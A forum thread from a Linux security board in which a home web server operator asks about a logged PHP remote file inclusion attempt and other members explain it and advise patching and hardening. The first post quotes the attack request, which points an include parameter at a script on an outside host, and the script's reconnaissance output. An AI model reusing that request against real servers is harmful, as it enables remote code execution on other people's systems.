Linux - Security This forum is for all security related questions.
Questions, tips, system compromises, firewalls, etc. are all included here. |
| Notices |
Welcome to LinuxQuestions.org, a friendly and active Linux Community.
You are currently viewing LQ as a guest. By joining our community you will have the ability to post topics, receive our newsletter, use the advanced search, subscribe to threads and access many other special features. Registration is quick, simple and absolutely free. Join our community today!
Note that registered members see fewer ads, and ContentLink is completely disabled once you log in.
Are you new to LinuxQuestions.org? Visit the following links:
Site Howto |
Site FAQ |
Sitemap |
Register Now
If you have any problems with the registration process or your account login, please contact us. If you need to reset your password, click here.
Having a problem logging in? Please visit this page to clear all LQ-related cookies.
 |
GNU/Linux Basic Guide
This 255-page guide will provide you with the keys to understand the philosophy of free software, teach you how to use and handle it, and give you the tools required to move easily in the world of GNU/Linux. Many users and administrators will be taking their first steps with this GNU/Linux Basic guide and it will show you how to approach and solve the problems you encounter.
Click Here to receive this Complete Guide absolutely free. |
|
 |
12-11-2008, 08:56 AM
|
#1
|
|
LQ Newbie
Registered: Feb 2008
Location: Toronto, Canada
Distribution: open suse
Posts: 7
Rep:
|
possible hack attack?
I run a web server on my opensuse 10.x box and check access_log and error_log frequently. Today I found this entry - 80.67.23.3 - - [10/Dec/2008:06:13:24 -0500] "GET /phpproj/catalog/includes/include_once.php?include_file=http://www.jkijmond.nl/jl/response.txt%0D?? HTTP/1.1" 404 1056 "-" repeated 4 times. Just the time and date are different. I copied response.txt to my web server and ran it. This is what was displyed:
Osirys
uid=30(wwwrun) gid=8(www) groups=8(www),111(vboxusers) 0sirys was here ..
uname -a: Linux zombie13 2.6.22.19-0.1-default #1 SMP 2008-10-14 22:17:43 +0200 x86_64
os: Linux
id: uid=30(wwwrun) gid=8(www) groups=8(www),111(vboxusers)
free: 5.13 Gb
used: 44.13 Gb
total: 49.26 Gb
Does this information present a security risk? If so what may be done to prevent attacks using this information.
I have blocked the ip range 80.67.23.0 - 80.67.23.255 to prevent further attempts coming from domainfactory GmbH.
TIA for your advice,
Philip
|
|
|
|
12-11-2008, 09:30 AM
|
#2
|
|
LQ Newbie
Registered: Dec 2008
Location: TX
Distribution: Ubuntu 8.10
Posts: 26
Rep:
|
It's a PHP remote upload exploit. I can't seem to find much else about it, but I didn't look very long.
|
|
|
|
01-08-2009, 10:36 AM
|
#3
|
|
Member
Registered: Jan 2008
Location: Toronto, Canada
Distribution: Slackware, CentOS
Posts: 41
Rep:
|
Hey spycxamaican,
I suppose the first thing that security geeks like me ask is, is it necessary for you to support file uploads on your server?
Any services that are not ESSENTIAL to operation should be disabled on a public-facing box.
Also, are you running the latest versions of both Apache AND PHP? (I mean that when you check your distro's update-manager you find no updates necessary.)
These zombie-makers come out of the woodwork from time to time and it's necessary to deal with them ONLY when they can affect a service you need. If you don't need it, just disable the service and update.
Thanks and HTH,
Lyle
|
|
|
|
01-08-2009, 12:36 PM
|
#4
|
|
Member
Registered: May 2005
Location: Northern VA
Distribution: Slackware, FreeBSD, OpenBSD, Mac OS X , Backtrack, Ubuntu on a Dell Mini 9
Posts: 780
Rep: 
|
http://www.jkijmond.nl is now fixed. Usually, such sites are compromised (where the owner is unaware) and hosting/serving malware as third party.
I'm sure you'll see tons of such traffic in your logs (I do). As long as you know that you don't allow uploads, you're ok (but check from time to time anyways).
Oh, and one thing I'd NEVER do is download questionable code and execute it, especially without viewing and assessing the code first. Fortunately, it appears that that script was just gathering data. Someone who may be keeping a list of possible hosts to attack could use that type of data.
Last edited by unixfool; 01-08-2009 at 12:41 PM.
|
|
|
|
01-11-2009, 07:44 PM
|
#5
|
|
LQ Newbie
Registered: Feb 2008
Location: Toronto, Canada
Distribution: open suse
Posts: 7
Original Poster
Rep:
|
Thnk you for your feedback
Quote:
Originally Posted by spycxamaican
I run a web server on my opensuse 10.x box and check access_log and error_log frequently. Today I found this entry - ....
Does this information present a security risk? If so what may be done to ...
I have blocked the ip range 80.67.23.0 - 80.67.23.255 to prevent further ...
TIA for your advice,
Philip
|
Hi everyone,
Thank you for your feedback. Currently, I do not allow file uploads. Updates are done regularly, i.e. when I am notified updates are available. One discovery is my current router does not allow me to block specific ip addresses or ip ranges. The one that allows me to do that blocks my VOIP phone line.
Now that I am learning to create web sites with PHP and MySQL file uploads may be allowed in the future. My research has found specific PHP code that should enhance the security of my PHP scripts to prevent XSS, invalid input etc.
Again, thank you for your feedback.
Philip
|
|
|
|
01-12-2009, 03:39 PM
|
#6
|
|
Moderator
Registered: May 2001
Posts: 24,779
|
Quote:
Originally Posted by spycxamaican
My research has found specific PHP code that should enhance the security of my PHP scripts to prevent XSS, invalid input etc.
|
Post a pointer to what you found?
BTW, if you're researching PHP security please look up Snort, Suhosin, PHP IDS and mod_security. And remember security is multi-layered and a continuous process.
|
|
|
|
01-13-2009, 10:47 AM
|
#7
|
|
Member
Registered: Jan 2008
Location: Toronto, Canada
Distribution: Slackware, CentOS
Posts: 41
Rep:
|
Howdy again, I just got another update email for this post and I re-read from the beginning...
Notwithstanding the fact that, ultimately, this may be originating at some zombie attempting an upload exploit, remember the critical element here... The response code: 404 (Your server told it to piss off)
Natually, zombies just roam through the web tapping everybody's door to see who was dumb enough to leave the key in the lock outside. I've had one server running three virtual hosts and they each have an entry in their log (after only one day of operating!!!) from some "Morpheus F**king Scanner" (no joke, that was the actual text in the log) zombie.
But the response codes are all 404s so there's no risk to me.
Keep patched, disable unnecessary services, and keep an eye on those logs for things that DON'T go 404...
Oh, and as unSpawn asked, please do submit any tweaks you have for scripting security, etc.
Excellent posting, btw, everyone, this is one of the first security-related threads I've seen that DIDN'T go all crazy with advice to block everyone's ip and start wearing foil hats.
|
|
|
|
01-13-2009, 01:57 PM
|
#8
|
|
LQ Newbie
Registered: Feb 2008
Location: Toronto, Canada
Distribution: open suse
Posts: 7
Original Poster
Rep:
|
Thanks for the heads up
Quote:
Originally Posted by unSpawn
Post a pointer to what you found?
BTW, if you're researching PHP security please look up Snort, Suhosin, PHP IDS and mod_security. And remember security is multi-layered and a continuous process.
|
This site is very helpful -Virginia Tech ( http://www.hosting.vt.edu/tutorials/phpmysql/). However, the more advanced features in this tutorial will only work when all required apache, php and mysql modules are installed.
Thank for the heads up regarding security. This is why I am taking things slowly, building the web aps with security in mind while researching the security issues involved hosting on a public facing serve.
Philip
|
|
|
|
| Thread Tools |
Search this Thread |
|
|
|
Posting Rules
|
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts
HTML code is Off
|
|
|
All times are GMT -5. The time now is 09:55 AM.
|
|
LinuxQuestions.org is looking for people interested in writing
Editorials, Articles, Reviews, and more. If you'd like to contribute
content, let us know.
|
Latest Threads
LQ News
|
|